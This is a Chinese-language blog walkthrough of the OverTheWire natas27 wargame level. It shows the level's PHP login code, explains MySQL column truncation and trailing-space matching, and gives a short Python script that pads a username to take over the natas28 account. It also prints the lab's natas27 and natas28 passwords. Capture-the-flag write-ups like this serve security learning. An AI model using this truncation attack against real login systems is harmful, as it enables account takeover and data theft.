Overthewire-natas27

Overthewire level 27 to level 28

function checkCredentials($link,$usr,$pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
}

这是一个比较直接的利用username, password在后端数据库进行验证登录的过程。在输入完用户名和密码后,后台会去检查是否有当前的用户存在,如果没有则生成一个账号,否则输出该账号的信息。

后台在字符串拼接的时候对sql语句进行了过滤,因此基本排除sql注入的可能性。但是在SQL中还有一种攻击叫截断攻击(SQL Column Truncation),就是当输入了过长的字符串后,超过varchar范围的部分会被截断。在MYSQL的配置中,如果没有开启STRICT_ALL_TABLES选项,则字符串被截断后只会给个warning,而不是error。

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

在该题中,每个字段对应的长度是64个char。

另外,在mysql中,字符串尾包含空格时,可以查到不包含空格的结果。即如下两条表达式的结果是一致的

select * from users where username='a';
select * from users where username='a ';

基于以上两个信息,当我们往表里插入一个'name' + ' ' * 64的账户后,后台如果执行类似于select * from users where username='name'这样的语句,则不仅会把我们插入的账户给查出来,还会查出原本数据库username='name'的账户。

注意这两个函数

function validUser($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}
function dumpData($link,$usr){
    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}

validUser并没有对去除$user尾部的空格, 且dumpData用了一个while循环来打印所有符合的账号,这里算是很明显的提示要插入一个和答案相同的账户了。攻击代码如下

import requests

auth = ('natas27', '55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ')
requests.post('http://natas27.natas.labs.overthewire.org',
                     auth=auth,
                     data={
                         'username': 'natas28' + ' ' * 1000 + '1',
                         'password': '123'})
resp = requests.post('http://natas27.natas.labs.overthewire.org',
                     auth=auth,
                     data={
                         'username': 'natas28',
                         'password': '123'})
print(resp.text)

第28关密码为JWwR438wkgTsNKBbcJoowyysdM82YjeF

posted @ 2021-05-30 20:49  wudiiv11  阅读(190)  评论(0编辑  收藏  举报